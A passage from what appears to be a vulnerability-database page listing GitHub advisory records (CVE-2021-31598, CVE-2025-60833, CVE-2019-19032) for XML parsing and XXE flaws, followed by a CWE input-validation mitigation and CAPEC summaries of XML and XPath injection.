  "details": "An issue was discovered in libezxml.a in ezXML 0.8.6. The function ezxml_decode() performs incorrect memory handling while parsing crafted XML files, leading to a heap-based buffer overflow.",
  "id": "GHSA-79rj-564v-63cr",
  "modified": "2022-05-24T17:48:44Z",
  "published": "2022-05-24T17:48:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31598"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/07/msg00005.html"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/ezxml/bugs/28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7G82-F9RV-R497

Vulnerability from github – Published: 2025-10-08 15:32 – Updated: 2025-10-08 18:30
VLAI
Details

An XML External Entity (XXE) vulnerability in the /mall/wxpay/pay component of uzy-ssm-mall v1.1.0 allows attackers to execute arbitrary code via supplying crafted XML data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-60833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-08T14:15:46Z",
    "severity": "MODERATE"
  },
  "details": "An XML External Entity (XXE) vulnerability in the /mall/wxpay/pay component of uzy-ssm-mall v1.1.0 allows attackers to execute arbitrary code via supplying crafted XML data.",
  "id": "GHSA-7g82-f9rv-r497",
  "modified": "2025-10-08T18:30:15Z",
  "published": "2025-10-08T15:32:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60833"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ChangeYourWay/1364b9e78490ebd5cd31bcdc105a914f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ChangeYourWay/post/blob/main/uzy-ssm-mall.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7JH8-C237-CVQ4

Vulnerability from github – Published: 2022-05-24 17:05 – Updated: 2024-04-04 02:45
VLAI
Details

XMLBlueprint through 16.191112 is affected by XML External Entity Injection. The impact is: Arbitrary File Read when an XML File is validated. The component is: XML Validate function. The attack vector is: Specially crafted XML payload.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-19032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-30T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "XMLBlueprint through 16.191112 is affected by XML External Entity Injection. The impact is: Arbitrary File Read when an XML File is validated. The component is: XML Validate function. The attack vector is: Specially crafted XML payload.",
  "id": "GHSA-7jh8-c237-cvq4",
  "modified": "2024-04-04T02:45:55Z",
  "published": "2022-05-24T17:05:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19032"
    },
    {
      "type": "WEB",
      "url": "https://hackpuntes.com/cve-2019-19032-xmlblueprint-16-191112-inyeccion-xml"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/156139/XMLBlueprint-16.191112-XML-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-250: XML Injection

An attacker utilizes crafted XML user-controllable input to probe, attack, and inject data into the XML database, using techniques similar to SQL injection. The user-controllable input can allow for unauthorized viewing of data, bypassing authentication or the front-end application for direct XML database access, and possibly altering database information.

CAPEC-83: XPath Injection

An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.